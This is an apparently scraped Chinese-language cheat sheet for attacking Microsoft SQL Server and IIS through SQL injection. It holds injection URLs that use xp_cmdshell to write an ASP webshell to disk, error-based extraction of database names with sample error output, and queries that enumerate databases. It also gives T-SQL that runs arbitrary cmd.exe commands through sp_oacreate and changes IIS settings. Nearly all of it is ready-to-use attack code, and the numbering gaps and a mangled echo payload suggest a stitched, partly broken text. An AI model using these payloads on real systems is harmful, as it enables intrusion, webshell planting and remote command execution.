|
|
|
1、 用^转义字符来写ASP(一句话木马)文件的方法:<br/>? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^/script^> >c:\mu.asp';-- <br/><br/>? echo ^>db_name(n) n改成0,1,2,3……就可以跨库了<br/>? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--<br/>Microsoft VBScript 编译器错误 错误 '800a03f6' <br/>缺少 'End' <br/>/iisHelp/common/500-100.asp,行242 <br/>Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' <br/>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int. <br/>/display.asp,行17 <br/>7、 列出当前所有的数据库名称:<br/>select * from master.dbo.sysdatabases 列出所有列的记录<br/>select name from master.dbo.sysdatabases 仅列出name列的记录<br/><br/>8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:<br/>create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)<br/>DECLARE @shell INT<br/>DECLARE @fso INT<br/>DECLARE @file INT<br/>DECLARE @isEnd BIT<br/>DECLARE @out VARCHAR(400)<br/>EXEC sp_oacreate 'wscript.shell',@shell output<br/>EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'<br/>--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。<br/><br/>EXEC sp_oacreate 'scripting.filesystemobject',@fso output<br/>EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'<br/>--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌<br/><br/>WHILE @shell>0<br/>BEGIN<br/>EXEC sp_oamethod @file,'Readline',@out out<br/>insert INTO MYTMP(info) VALUES (@out)<br/>EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out<br/>IF @isEnd=1 BREAK<br/>ELSE CONTINUE<br/>END<br/><br/>drop TABLE MYTMP <br/><br/>----------<br/>DECLARE @shell INT<br/>DECLARE @fso INT<br/>DECLARE @file INT<br/>DECLARE @isEnd BIT<br/>DECLARE @out VARCHAR(400)<br/>EXEC sp_oacreate 'wscript.shell',@shell output<br/>EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'<br/>EXEC sp_oacreate 'scripting.filesystemobject',@fso output<br/>EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'<br/>WHILE @shell>0<br/>BEGIN<br/>EXEC sp_oamethod @file,'Readline',@out out<br/>insert INTO MYTMP(info) VALUES (@out)<br/>EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out<br/>IF @isEnd=1 BREAK<br/>ELSE CONTINUE<br/>END<br/> |
|